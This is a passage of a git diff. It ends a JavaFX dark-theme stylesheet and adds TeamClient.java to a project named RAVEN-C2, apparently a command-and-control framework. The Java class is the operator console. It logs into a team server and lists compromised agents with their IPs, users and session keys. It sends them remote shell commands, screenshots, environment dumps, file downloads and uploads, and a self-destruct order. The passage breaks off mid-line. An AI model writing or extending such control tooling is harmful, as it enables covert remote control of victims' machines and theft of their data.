10px; +} +.topbar-badge { + -fx-background-color: rgba(255, 159, 10, 0.12); + -fx-text-fill: #ff9f0a; + -fx-font-size: 9px; + -fx-padding: 3 9 3 9; + -fx-border-color: rgba(255, 159, 10, 0.25); + -fx-border-width: 1; + -fx-background-radius: 10; + -fx-border-radius: 10; + -fx-font-weight: bold; +} + +.panel-card { + -fx-background-color: #1c1c1e; + -fx-border-color: #2c2c2e; + -fx-border-width: 1; + -fx-background-radius: 10; + -fx-border-radius: 10; + -fx-effect: dropshadow(gaussian, rgba(0,0,0,0.25), 8, 0, 0, 2); +} +.panel-header { + -fx-background-color: #232325; + -fx-border-color: transparent transparent #2c2c2e transparent; + -fx-border-width: 0 0 1 0; + -fx-padding: 9 14 9 14; + -fx-alignment: CENTER_LEFT; + -fx-spacing: 8; + -fx-background-radius: 10 10 0 0; +} + +.stat-card { + -fx-background-color: #1c1c1e; + -fx-border-color: #2c2c2e; + -fx-border-width: 1; + -fx-background-radius: 10; + -fx-border-radius: 10; + -fx-effect: dropshadow(gaussian, rgba(0,0,0,0.20), 6, 0, 0, 2); + -fx-padding: 18 20 18 20; +} +.stat-label { + -fx-text-fill: #636366; + -fx-font-size: 10px; + -fx-font-weight: bold; + -fx-letter-spacing: 0.04em; +} +.stat-value { + -fx-font-size: 28px; + -fx-font-weight: bold; + -fx-text-fill: #f2f2f7; +} +.stat-delta-pos { + -fx-text-fill: #30d158; + -fx-font-size: 10px; + -fx-font-weight: bold; +} +.stat-delta-neg { + -fx-text-fill: #ff453a; + -fx-font-size: 10px; + -fx-font-weight: bold; +} + +.input-field { + -fx-background-color: #2c2c2e; + -fx-text-fill: #f2f2f7; + -fx-prompt-text-fill: #48484a; + -fx-font-family: "Segoe UI"; + -fx-font-size: 12px; + -fx-padding: 7 11 7 11; + -fx-background-radius: 7; + -fx-border-color: #3a3a3c; + -fx-border-width: 1; + -fx-border-radius: 7; +} +.input-field:focused { + -fx-border-color: #0a84ff; + -fx-background-color: #2c2c2e; +} +.password-field { + -fx-background-color: #2c2c2e; + -fx-text-fill: #f2f2f7; + -fx-prompt-text-fill: #48484a; + -fx-font-size: 12px; + -fx-padding: 7 11 7 11; + -fx-background-radius: 7; + -fx-border-color: #3a3a3c; + -fx-border-width: 1; + -fx-border-radius: 7; +} +.password-field:focused { + -fx-border-color: #0a84ff; +} +.search-field { + -fx-background-color: #2c2c2e; + -fx-text-fill: #f2f2f7; + -fx-prompt-text-fill: #48484a; + -fx-font-family: "Segoe UI"; + -fx-font-size: 11px; + -fx-padding: 6 11 6 11; + -fx-background-radius: 7; + -fx-border-color: #3a3a3c; + -fx-border-width: 1; + -fx-border-radius: 7; +} +.search-field:focused { + -fx-border-color: #0a84ff; +} + +.terminal-area { + -fx-background-color: #0d0d0f; + -fx-control-inner-background: #0d0d0f; + -fx-text-fill: #c9d1d9; + -fx-highlight-fill: rgba(10, 132, 255, 0.25); + -fx-font-family: "JetBrains Mono", "Cascadia Code", "Consolas", monospace; + -fx-font-size: 12px; + -fx-padding: 12 14 12 14; + -fx-background-radius: 0; + -fx-border-color: transparent; +} +.terminal-area .content { + -fx-background-color: #0d0d0f; +} + +.btn { + -fx-background-radius: 7; + -fx-border-radius: 7; + -fx-font-family: "Segoe UI"; + -fx-font-size: 11px; + -fx-padding: 6 14 6 14; + -fx-cursor: hand; + -fx-border-width: 1; + -fx-font-weight: 500; +} +.btn-default { + -fx-background-color: #2c2c2e; + -fx-text-fill: #aeaeb2; + -fx-border-color: #3a3a3c; +} +.btn-default:hover { + -fx-background-color: #3a3a3c; + -fx-text-fill: #f2f2f7; + -fx-border-color: #48484a; +} +.btn-accent { + -fx-background-color: rgba(10, 132, 255, 0.15); + -fx-text-fill: #0a84ff; + -fx-border-color: rgba(10, 132, 255, 0.35); +} +.btn-accent:hover { + -fx-background-color: rgba(10, 132, 255, 0.25); + -fx-border-color: rgba(10, 132, 255, 0.55); +} +.btn-success { + -fx-background-color: rgba(48, 209, 88, 0.12); + -fx-text-fill: #30d158; + -fx-border-color: rgba(48, 209, 88, 0.30); +} +.btn-success:hover { + -fx-background-color: rgba(48, 209, 88, 0.20); +} +.btn-danger { + -fx-background-color: rgba(255, 69, 58, 0.12); + -fx-text-fill: #ff453a; + -fx-border-color: rgba(255, 69, 58, 0.30); +} +.btn-danger:hover { + -fx-background-color: rgba(255, 69, 58, 0.22); +} +.btn-icon { + -fx-background-color: transparent; + -fx-text-fill: #48484a; + -fx-font-family: "Material Icons"; + -fx-font-size: 16px; + -fx-border-color: transparent; + -fx-padding: 5 8 5 8; + -fx-background-radius: 7; + -fx-border-radius: 7; + -fx-cursor: hand; +} +.btn-icon:hover { + -fx-background-color: #2c2c2e; + -fx-text-fill: #f2f2f7; +} +.btn-flat { + -fx-background-color: transparent; + -fx-text-fill: #48484a; + -fx-border-color: transparent; + -fx-padding: 6 12 6 12; + -fx-cursor: hand; + -fx-background-radius: 7; + -fx-border-radius: 7; + -fx-font-size: 11px; +} +.btn-flat:hover { + -fx-background-color: #2c2c2e; + -fx-text-fill: #aeaeb2; +} + +.toggle-btn { + -fx-background-color: #2c2c2e; + -fx-text-fill: #aeaeb2; + -fx-border-color: #3a3a3c; + -fx-border-width: 1; + -fx-padding: 6 18 6 18; + -fx-background-radius: 7; + -fx-border-radius: 7; + -fx-cursor: hand; + -fx-font-size: 11px; + -fx-font-weight: bold; +} +.toggle-btn:selected { + -fx-background-color: rgba(48, 209, 88, 0.12); + -fx-text-fill: #30d158; + -fx-border-color: rgba(48, 209, 88, 0.35); +} + +.session-table { + -fx-background-color: #1c1c1e; + -fx-control-inner-background: #1c1c1e; + -fx-table-cell-border-color: #232325; + -fx-background-radius: 10; +} +.session-table .column-header-background { + -fx-background-color: #111113; + -fx-border-color: transparent transparent #2c2c2e transparent; + -fx-border-width: 0 0 1 0; +} +.session-table .column-header .label { + -fx-text-fill: #636366; + -fx-font-size: 10px; + -fx-font-weight: bold; + -fx-alignment: CENTER_LEFT; + -fx-padding: 7 10 7 10; + -fx-letter-spacing: 0.04em; +} +.session-table .filler { + -fx-background-color: #111113; +} +.session-table .table-row-cell { + -fx-background-color: #1c1c1e; + -fx-border-color: transparent transparent #232325 transparent; + -fx-border-width: 0 0 1 0; +} +.session-table .table-row-cell:odd { + -fx-background-color: #1e1e20; +} +.session-table .table-row-cell:selected { + -fx-background-color: rgba(10, 132, 255, 0.10); +} +.session-table .table-row-cell:hover { + -fx-background-color: #232325; +} +.session-table .table-cell { + -fx-text-fill: #aeaeb2; + -fx-alignment: CENTER_LEFT; + -fx-font-size: 11px; + -fx-padding: 6 10 6 10; +} +.session-table .table-row-cell:selected .table-cell { + -fx-text-fill: #0a84ff; +} +.session-table .placeholder .label { + -fx-text-fill: #3a3a3c; +} + +.toolbar-bar { + -fx-background-color: #111113; + -fx-border-color: transparent transparent #2c2c2e transparent; + -fx-border-width: 0 0 1 0; + -fx-padding: 8 14 8 14; + -fx-spacing: 6; +} +.cmd-bar { + -fx-background-color: #0d0d0f; + -fx-border-color: transparent transparent #2c2c2e transparent; + -fx-border-width: 0 0 1 0; + -fx-padding: 6 12 6 12; + -fx-spacing: 6; +} +.cmd-prompt { + -fx-text-fill: #0a84ff; + -fx-font-family: "JetBrains Mono", "Consolas", monospace; + -fx-font-size: 14px; + -fx-font-weight: bold; +} +.input-bar { + -fx-background-color: #0d0d0f; + -fx-border-color: #2c2c2e transparent transparent transparent; + -fx-border-width: 1 0 0 0; + -fx-padding: 8 12 8 12; + -fx-spacing: 6; +} + +.statusbar { + -fx-background-color: #0a0a0c; + -fx-border-color: #2c2c2e transparent transparent transparent; + -fx-border-width: 1 0 0 0; + -fx-padding: 4 14 4 14; + -fx-spacing: 10; +} +.status-bar-text { + -fx-text-fill: #3a3a3c; + -fx-font-size: 10px; +} +.status-bar-accent { + -fx-text-fill: #0a84ff; + -fx-font-size: 10px; + -fx-font-weight: bold; +} + +.server-toggle-card { + -fx-background-color: #1c1c1e; + -fx-border-color: #2c2c2e; + -fx-border-width: 1; + -fx-padding: 18; + -fx-spacing: 14; + -fx-background-radius: 10; + -fx-border-radius: 10; + -fx-effect: dropshadow(gaussian, rgba(0,0,0,0.20), 6, 0, 0, 2); +} + +.text-head { -fx-text-fill: #f2f2f7; -fx-font-weight: bold; } +.text-body { -fx-text-fill: #aeaeb2; } +.text-muted { -fx-text-fill: #636366; } +.text-dim { -fx-text-fill: #3a3a3c; } +.text-blue { -fx-text-fill: #0a84ff; } +.text-green { -fx-text-fill: #30d158; } +.text-pink { -fx-text-fill: #ff375f; } +.text-danger{ -fx-text-fill: #ff453a; } +.text-warn { -fx-text-fill: #ff9f0a; } +.text-teal { -fx-text-fill: #5ac8fa; } + +.h-div { + -fx-background-color: #2c2c2e; + -fx-pref-height: 1; + -fx-max-width: 100000; +} +.v-div { + -fx-background-color: #2c2c2e; + -fx-pref-width: 1; + -fx-pref-height: 16; +} + +.dialog-pane { + -fx-background-color: #1c1c1e; + -fx-border-color: #2c2c2e; + -fx-border-width: 1; + -fx-background-radius: 12; + -fx-border-radius: 12; +} +.dialog-pane .header-panel { + -fx-background-color: #111113; + -fx-border-color: transparent transparent #2c2c2e transparent; + -fx-border-width: 0 0 1 0; + -fx-padding: 14 18 14 18; + -fx-background-radius: 12 12 0 0; +} +.dialog-pane .header-panel .label { + -fx-text-fill: #f2f2f7; + -fx-font-weight: bold; + -fx-font-size: 13px; +} +.dialog-pane .content { + -fx-background-color: #1c1c1e; + -fx-padding: 14 18 14 18; +} +.dialog-pane .button-bar { + -fx-background-color: #111113; + -fx-border-color: #2c2c2e transparent transparent transparent; + -fx-border-width: 1 0 0 0; + -fx-padding: 10 14 10 14; + -fx-background-radius: 0 0 12 12; +} +.dialog-pane .button-bar .button { + -fx-background-color: rgba(10, 132, 255, 0.12); + -fx-text-fill: #0a84ff; + -fx-border-color: rgba(10, 132, 255, 0.30); + -fx-border-width: 1; + -fx-background-radius: 7; + -fx-border-radius: 7; + -fx-cursor: hand; + -fx-font-size: 11px; +} +.dialog-pane .button-bar .button:hover { + -fx-background-color: rgba(10, 132, 255, 0.22); +} + +.context-menu { + -fx-background-color: #232325; + -fx-border-color: #3a3a3c; + -fx-border-width: 1; + -fx-padding: 4; + -fx-background-radius: 8; + -fx-border-radius: 8; + -fx-effect: dropshadow(gaussian, rgba(0,0,0,0.4), 12, 0, 0, 4); +} +.menu-item { + -fx-background-color: transparent; + -fx-padding: 6 14 6 14; + -fx-background-radius: 6; + -fx-border-radius: 6; +} +.menu-item:hover { + -fx-background-color: #2c2c2e; +} +.menu-item .label { + -fx-text-fill: #aeaeb2; + -fx-font-size: 11px; +} + +.tooltip { + -fx-background-color: #232325; + -fx-text-fill: #aeaeb2; + -fx-border-color: #3a3a3c; + -fx-border-width: 1; + -fx-font-size: 11px; + -fx-background-radius: 6; + -fx-border-radius: 6; + -fx-effect: dropshadow(gaussian, rgba(0,0,0,0.3), 8, 0, 0, 2); +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/TeamClient.java b/RAVEN-C2/src/main/java/com/raven/interfaces/TeamClient.java new file mode 100644 index 0000000..095f8d6 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/TeamClient.java @@ -0,0 +1,748 @@ +package com.raven.interfaces; + +import com.google.gson.Gson; +import com.raven.core.command.CommandRegistry; +import com.raven.core.command.CommandRegistry.Category; +import com.raven.core.command.CommandRegistry.CommandDef; +import com.raven.core.database.TeamDatabase.OperatorRole; +import com.raven.core.output.PromptManager; +import com.raven.utils.AnsiColor; +import com.raven.utils.ServerConfig; +import com.raven.utils.TerminalHelper; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.time.Duration; +import java.util.ArrayList; +import java.util.Collections; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; + +public final class TeamClient { + + private static final String PROMPT_TOP = AnsiColor.Red + "┌──{" + AnsiColor.White + "RAVEN-CLIENT" + AnsiColor.Red + "}" + AnsiColor.Reset; + private static final String PROMPT_BOTTOM = AnsiColor.Red + "└─" + AnsiColor.White + ">>" + AnsiColor.Reset + " "; + private static final String INDENT = " "; + + private final ServerConfig Config; + private final String TsHost; + private final int TsPort; + private final HttpClient Http; + private final Gson Json = new Gson(); + + private String Token; + private String OperatorName; + private OperatorRole OperatorRoleValue; + private volatile boolean Running = true; + + public TeamClient(ServerConfig Config, String TsHost, int TsPort) { + this.Config = Config; + this.TsHost = TsHost; + this.TsPort = TsPort; + this.Http = HttpClient.newBuilder().connectTimeout(Duration.ofSeconds(5)).build(); + PromptManager.SetPrompt(PROMPT_BOTTOM); + } + + public void Run() { + if (!Login()) return; + BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); + while (Running) { + try { + System.out.println(); + System.out.println(PROMPT_TOP); + System.out.print(PROMPT_BOTTOM); + System.out.flush(); + PromptManager.MarkVisible(true); + String Input = Reader.readLine(); + PromptManager.MarkVisible(false); + if (Input == null) break; + Input = Input.trim(); + if (Input.isEmpty()) continue; + String[] Parts = Input.split("\\s+", 3); + String Cmd = Parts[0].toLowerCase(); + Dispatch(Cmd, Parts, Input); + } catch (IOException Ex) { + break; + } + } + System.exit(0); + } + + private void Dispatch(String Cmd, String[] P, String Line) { + switch (Cmd) { + case "exit", "quit" -> { + Running = false; + try { + Post("/api/auth/logout", null); + } catch (Exception Ign) {} + Logger.Ok("Disconnected from TeamServer"); + } + case "help" -> ShowHelp(); + case "clear" -> TerminalHelper.Clear(); + case "sessions", "agents" -> ShowSessions(); + case "status" -> ShowStatus(); + case "logs" -> ShowLogs(); + case "chat" -> ShowChat(); + case "chathistory" -> ShowChatHistory(100); + case "listopt" -> ShowOperators(); + case "exec" -> { + if (P.length < 3) { + Logger.Warn("usage: " + CommandRegistry.Get("exec").Usage()); + break; + } + try { + Exec(ParseInt(P[1]), Line.substring(Line.indexOf(P[2]))); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "broadcast" -> { + if (P.length < 3) { + Logger.Warn("usage: " + CommandRegistry.Get("broadcast").Usage()); + break; + } + DoBroadcast(P[1].toLowerCase(), Line.substring(Line.indexOf(P[2]))); + } + case "kill" -> { + if (P.length < 2) { + Logger.Warn("usage: " + CommandRegistry.Get("kill").Usage()); + break; + } + try { + Kill(ParseInt(P[1])); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "sysinfo", "info" -> { + if (P.length < 2) { + Logger.Warn("usage: " + CommandRegistry.Get("sysinfo").Usage()); + break; + } + try { + ShowSessionInfo(ParseInt(P[1])); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "whoami" -> { + if (P.length < 2) Logger.Warn("usage: whoami "); + else SimpleExec(P, "whoami"); + } + case "ps" -> { + if (P.length < 2) Logger.Warn("usage: ps "); + else SimpleExec(P, "ps"); + } + case "pwd" -> { + if (P.length < 2) Logger.Warn("usage: pwd "); + else SimpleExec(P, "pwd"); + } + case "env" -> { + if (P.length < 2) Logger.Warn("usage: env "); + else SimpleExec(P, "env"); + } + case "ifconfig", "ipconfig" -> { + if (P.length < 2) Logger.Warn("usage: ifconfig "); + else SimpleExec(P, "ifconfig"); + } + case "netstat" -> { + if (P.length < 2) Logger.Warn("usage: netstat "); + else SimpleExec(P, "netstat"); + } + case "screenshot" -> { + if (P.length < 2) Logger.Warn("usage: screenshot "); + else SimpleExec(P, "screenshot"); + } + case "ping" -> { + if (P.length < 2) Logger.Warn("usage: ping "); + else SimpleExec(P, "ping"); + } + case "reconnect" -> { + if (P.length < 2) Logger.Warn("usage: reconnect "); + else SimpleExec(P, "reconnect"); + } + case "sleep" -> { + if (P.length < 3) { + Logger.Warn("usage: " + CommandRegistry.Get("sleep").Usage()); + break; + } + try { + Exec(ParseInt(P[1]), "sleep " + P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "ls" -> { + if (P.length < 2) { + Logger.Warn("usage: ls [path]"); + break; + } + try { + Exec(ParseInt(P[1]), P.length > 2 ? "ls " + P[2] : "ls"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "cat" -> { + if (P.length < 3) { + Logger.Warn("usage: cat "); + break; + } + try { + Exec(ParseInt(P[1]), "cat " + P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "download" -> { + if (P.length < 3) { + Logger.Warn("usage: " + CommandRegistry.Get("download").Usage()); + break; + } + try { + DoDownload(ParseInt(P[1]), P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "upload" -> { + if (P.length < 3) { + Logger.Warn("usage: " + CommandRegistry.Get("upload").Usage()); + break; + } + try { + String[] Up = P[2].split("\\s+", 2); + DoUpload(ParseInt(P[1]), Up[0], Up.length > 1 ? Up[1] : ""); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "note" -> { + if (P.length < 3) { + Logger.Warn("usage: " + CommandRegistry.Get("note").Usage()); + break; + } + try { + SetNote(ParseInt(P[1]), P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "getnote" -> { + if (P.length < 2) { + Logger.Warn("usage: " + CommandRegistry.Get("getnote").Usage()); + break; + } + try { + GetNote(ParseInt(P[1])); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "history" -> { + int Id = P.length > 1 ? ParseIntSafe(P[1], 0) : 0; + int Lim = P.length > 2 ? ParseIntSafe(P[2], 50) : 50; + ShowHistory(Id, Lim); + } + case "ch" -> { + if (P.length < 3) { + Logger.Warn("usage: ch "); + break; + } + SendChat(P[1], Line.substring(Line.indexOf(P[2]))); + } + case "gc" -> { + if (P.length < 3) { + Logger.Warn("usage: gc "); + break; + } + String Target = P[1].toLowerCase(); + String Msg = Line.substring(Line.indexOf(P[2])); + if (Target.equals("all")) { + SendChat("all", Msg); + } else { + for (String N : Target.split(",")) { + String T = N.trim(); + if (!T.isEmpty()) SendChat(T, Msg); + } + } + } + case "shell" -> { + if (P.length < 3) { + Logger.Warn("usage: shell "); + break; + } + try { + Exec(ParseInt(P[1]), "shell " + P[2]); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "self-destruct", "selfdestruct" -> { + if (OperatorRoleValue == null || !OperatorRoleValue.CanManage()) { + Logger.Warn("ADMIN/SUPER required"); + break; + } + if (P.length < 2) { + Logger.Warn("usage: self-destruct "); + break; + } + try { + Exec(ParseInt(P[1]), "self-destruct"); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + case "sessions-history", "sesshistory" -> { + int Lim = P.length > 1 ? ParseIntSafe(P[1], 50) : 50; + ShowSessionHistory(Lim); + } + default -> { + Logger.Error("unknown command: " + Cmd); + Logger.Info("type 'help' for available commands"); + } + } + } + + private boolean Login() { + System.out.println(); + System.out.println(TerminalHelper.Box("TEAMCLIENT — CONNECT TO TEAMSERVER")); + System.out.println(); + Logger.Custom(INDENT + "%sTeamServer:%s %s:%d%n%n", AnsiColor.Red, AnsiColor.White, TsHost, TsPort, AnsiColor.Reset); + try { + Post("/api/auth/login", new LinkedHashMap<>()); + } catch (java.net.ConnectException Ex) { + Logger.Error("connection refused — " + TsHost + ":" + TsPort); + System.out.println(); + Logger.Custom(INDENT + "TeamClient requires a running TeamServer Web (-TSW).%n"); + Logger.Custom(INDENT + "Start with: java -jar raven.jar -TSW -p 4444 -tp %d%n%n", TsPort); + return false; + } catch (Exception Ex) { + Logger.Error("TeamServer unreachable: " + Ex.getMessage()); + return false; + } + BufferedReader Reader = new BufferedReader(new InputStreamReader(System.in)); + for (int Try = 0; Try < 3; Try++) { + try { + Logger.Custom(INDENT + "%sUsername:%s ", AnsiColor.White, AnsiColor.Reset); + System.out.flush(); + String User = Reader.readLine(); + if (User == null || User.isBlank()) return false; + Logger.Custom(INDENT + "%sPassword:%s ", AnsiColor.White, AnsiColor.Reset); + System.out.flush(); + String Pass = Reader.readLine(); + if (Pass == null) return false; + Map Body = new LinkedHashMap<>(); + Body.put("Username", User.trim()); + Body.put("Password", Pass.trim()); + Map Resp = Post("/api/auth/login", Body); + if (Resp.containsKey("Error")) { + Logger.Error(Resp.get("Error").toString() + " (" + (Try + 1) + "/3)"); + continue; + } + Token = Resp.getOrDefault("Token", "").toString(); + OperatorName = Resp.getOrDefault("Username", User.trim()).toString(); + OperatorRoleValue = OperatorRole.FromString(Resp.getOrDefault("Role", "MEMBER").toString()); + System.out.println(); + Logger.Ok("Welcome, " + OperatorName + " [" + OperatorRoleValue + "]"); + Logger.Custom(INDENT + "%sConnected to TeamServer at %s:%d%s%n%n", AnsiColor.White, TsHost, TsPort, AnsiColor.Reset); + return true; + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + Logger.Error("authentication failed"); + return false; + } + + private void ShowHelp() { + System.out.println(TerminalHelper.Box("TEAMCLIENT COMMANDS")); + System.out.println(); + Logger.Custom(INDENT + "%sConnected as:%s %s[%s / %s]%s Server: %s%s:%d%s%n%n", AnsiColor.Red, AnsiColor.White, AnsiColor.Green, OperatorName != null ? OperatorName : "—", OperatorRoleValue != null ? OperatorRoleValue.name() : "—", AnsiColor.White, AnsiColor.Red, TsHost, TsPort, AnsiColor.Reset); + for (Category Cat : Category.values()) { + List Cmds = CommandRegistry.ByCategory(Cat); + if (Cmds.isEmpty()) continue; + Logger.Custom(INDENT + "%s%s%s%n", AnsiColor.Red, Cat.name(), AnsiColor.Reset); + for (CommandDef Def : Cmds) Logger.Custom(INDENT + " %s%-42s%s %s%n", AnsiColor.White, Def.Usage(), AnsiColor.Reset, Def.Description()); + System.out.println(); + } + } + + private void ShowSessions() { + try { + Map R = Get("/api/agents"); + @SuppressWarnings("unchecked") + List> Agents = (List>) R.getOrDefault("Agents", new ArrayList<>()); + System.out.println(TerminalHelper.Box("ACTIVE SESSIONS (" + Agents.size() + ")")); + System.out.println(); + if (Agents.isEmpty()) { + Logger.Info(INDENT + "no active sessions"); + System.out.println(); + return; + } + Logger.Custom(INDENT + "%s%-5s %-14s %-16s %-14s %-10s %-10s %s%s%n", AnsiColor.Red, "ID", "NAME", "IP", "TYPE", "OS", "USER", "KEY", AnsiColor.Reset); + System.out.println(TerminalHelper.Divider()); + for (Map A : Agents) { + Logger.Custom(INDENT + "%s#%-4s %-14s %-16s %-14s %-10s %-10s %s%s%n", AnsiColor.White, A.getOrDefault("ID", "?"), TerminalHelper.Truncate(A.getOrDefault("AgentName", "?").toString(), 14), TerminalHelper.Truncate(A.getOrDefault("AgentIP", "?").toString(), 16), A.getOrDefault("Type", "?"), TerminalHelper.Truncate(A.getOrDefault("OS", "?").toString(), 10), TerminalHelper.Truncate(A.getOrDefault("User", "?").toString(), 10), A.getOrDefault("SessionKey", "—"), AnsiColor.Reset); + } + System.out.println(); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void ShowSessionInfo(int Id) { + try { + Map R = Get("/api/agents"); + @SuppressWarnings("unchecked") + List> Agents = (List>) R.getOrDefault("Agents", new ArrayList<>()); + Map A = Agents.stream() + .filter(X -> ParseIntSafe(X.getOrDefault("ID", "-1").toString(), -1) == Id) + .findFirst() + .orElse(null); + if (A == null) { + Logger.Warn("session not found"); + return; + } + System.out.println(TerminalHelper.Box("SESSION INFO — #" + Id)); + System.out.println(); + A.forEach((K, V) -> Logger.Custom(INDENT + "%s%-14s%s %s%n", AnsiColor.Red, K, AnsiColor.White, V)); + Logger.Custom("%s%n", AnsiColor.Reset); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void ShowStatus() { + try { + Map R = Get("/api/server/status"); + System.out.println(TerminalHelper.Box("SERVER STATUS")); + System.out.println(); + Logger.Custom(INDENT + "%sStatus %s%s%s%n", AnsiColor.Red, AnsiColor.Green, R.getOrDefault("Status", "?"), AnsiColor.Reset); + Logger.Custom(INDENT + "%sMode %s%s%n", AnsiColor.Red, AnsiColor.White, R.getOrDefault("Mode", "?")); + Logger.Custom(INDENT + "%sAddress %s%s:%s%n", AnsiColor.Red, AnsiColor.White, R.getOrDefault("Host", "?"), R.getOrDefault("Port", "?")); + Logger.Custom(INDENT + "%sUptime %s%s%n", AnsiColor.Red, AnsiColor.White, R.getOrDefault("Uptime", "?")); + Logger.Custom(INDENT + "%sSessions %s%s%n", AnsiColor.Red, AnsiColor.White, R.getOrDefault("Agents", 0)); + Logger.Custom(INDENT + "%sDB %s%s (%s)%n", AnsiColor.Red, AnsiColor.White, "true".equals(R.getOrDefault("DbOnline", "false").toString()) ? "connected" : "offline", R.getOrDefault("DbType", "?")); + Logger.Custom(INDENT + "%sServer %shttp://%s:%d%s%n%n", AnsiColor.Red, AnsiColor.White, TsHost, TsPort, AnsiColor.Reset); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void ShowLogs() { + try { + Map R = Get("/api/logs"); + @SuppressWarnings("unchecked") + List Logs = (List) R.getOrDefault("Logs", new ArrayList<>()); + System.out.println(TerminalHelper.Box("RECENT LOGS (last 30)")); + System.out.println(); + Logs.stream() + .skip(Math.max(0, Logs.size() - 30)) + .forEach(L -> Logger.Custom(INDENT + "%s%s%s%n", AnsiColor.White, L, AnsiColor.Reset)); + System.out.println(); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void ShowChat() { + try { + Map R = Post("/api/team/chat/messages", null); + @SuppressWarnings("unchecked") + List> Msgs = (List>) R.getOrDefault("Messages", new ArrayList<>()); + System.out.println(TerminalHelper.Box("CHAT MESSAGES")); + System.out.println(); + if (Msgs.isEmpty()) { + Logger.Info(INDENT + "no messages"); + System.out.println(); + return; + } + for (Map M : Msgs) { + String From = M.getOrDefault("From", "?").toString(); + String To = M.getOrDefault("To", "all").toString(); + boolean Mine = From.equals(OperatorName); + Logger.Custom(INDENT + "%s[%s] %s%s%s [%s]: %s%s%n", Mine ? AnsiColor.Green : AnsiColor.White, M.getOrDefault("Time", ""), Mine ? AnsiColor.Green : AnsiColor.Red, From, AnsiColor.Reset, To.equals("all") ? "all" : "→ " + To, M.getOrDefault("Message", ""), AnsiColor.Reset); + } + System.out.println(); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void ShowChatHistory(int Limit) { + try { + Map R = Post("/api/team/chat/logs", Map.of("Limit", Limit)); + @SuppressWarnings("unchecked") + List> Logs = (List>) R.getOrDefault("Logs", new ArrayList<>()); + System.out.println(TerminalHelper.Box("CHAT HISTORY (DB — last " + Limit + ")")); + System.out.println(); + if (Logs.isEmpty()) { + Logger.Info(INDENT + "no chat history"); + System.out.println(); + return; + } + List> Rev = new ArrayList<>(Logs); + Collections.reverse(Rev); + for (Map M : Rev) { + String From = M.getOrDefault("from_operator", "?").toString(); + String To = M.getOrDefault("to_operators", "all").toString(); + String Ts = M.getOrDefault("timestamp", "").toString(); + if (Ts.length() > 19) Ts = Ts.substring(11, 19); + boolean Mine = From.equals(OperatorName); + Logger.Custom(INDENT + "%s[%s] %s%s%s [%s]: %s%s%n", Mine ? AnsiColor.Green : AnsiColor.White, Ts, Mine ? AnsiColor.Green : AnsiColor.Red, From, AnsiColor.Reset, To.equals("all") ? "all" : "→ " + To, M.getOrDefault("message", ""), AnsiColor.Reset); + } + System.out.println(); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void ShowOperators() { + try { + Map R = Get("/api/team/operators"); + @SuppressWarnings("unchecked") + List> Ops = (List>) R.getOrDefault("Operators", new ArrayList<>()); + System.out.println(TerminalHelper.Box("OPERATORS (" + Ops.size() + ")")); + System.out.println(); + Logger.Custom(INDENT + "%s%-18s %-10s %-24s %-20s%s%n", AnsiColor.Red, "USERNAME", "ROLE", "PERMISSIONS", "LAST SEEN", AnsiColor.Reset); + System.out.println(TerminalHelper.Divider()); + for (Map Op : Ops) { + OperatorRole R2 = OperatorRole.FromString(Op.getOrDefault("Role", "MEMBER").toString()); + boolean Me = Op.getOrDefault("Username", "").toString().equals(OperatorName); + Logger.Custom(INDENT + "%s%-18s %-10s %-24s %-20s%s%s%n", AnsiColor.White, Op.getOrDefault("Username", "?"), R2.name(), R2.PermissionString(), Op.getOrDefault("LastSeen", "Never"), Me ? AnsiColor.Green + " ◀ YOU" : "", AnsiColor.Reset); + } + System.out.println(); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void ShowHistory(int AgentId, int Limit) { + try { + Map Body = Map.of("AgentId", AgentId, "Limit", Limit); + Map R = Post("/api/command/history", Body); + @SuppressWarnings("unchecked") + List> Hist = (List>) R.getOrDefault("History", new ArrayList<>()); + System.out.println(TerminalHelper.Box("COMMAND HISTORY (last " + Limit + (AgentId > 0 ? " — session-" + AgentId : "") + ")")); + System.out.println(); + if (Hist.isEmpty()) { + Logger.Info(INDENT + "no history"); + System.out.println(); + return; + } + Logger.Custom(INDENT + "%s%-5s %-12s %-10s %-36s %s%s%n", AnsiColor.Red, "SID", "OPERATOR", "STATUS", "COMMAND", "TIMESTAMP", AnsiColor.Reset); + System.out.println(TerminalHelper.Divider()); + for (Map H : Hist) { + boolean Ok = Boolean.parseBoolean(H.getOrDefault("Success", "false").toString()); + String Cmd = TerminalHelper.Truncate(H.getOrDefault("Command", "").toString(), 36); + Logger.Custom(INDENT + "%s%-5s %-12s %s%-10s%s %-36s %s%s%n", AnsiColor.White, H.getOrDefault("AgentId", "?"), TerminalHelper.Truncate(H.getOrDefault("Operator", "?").toString(), 12), Ok ? AnsiColor.Green : AnsiColor.Red, Ok ? "✔ 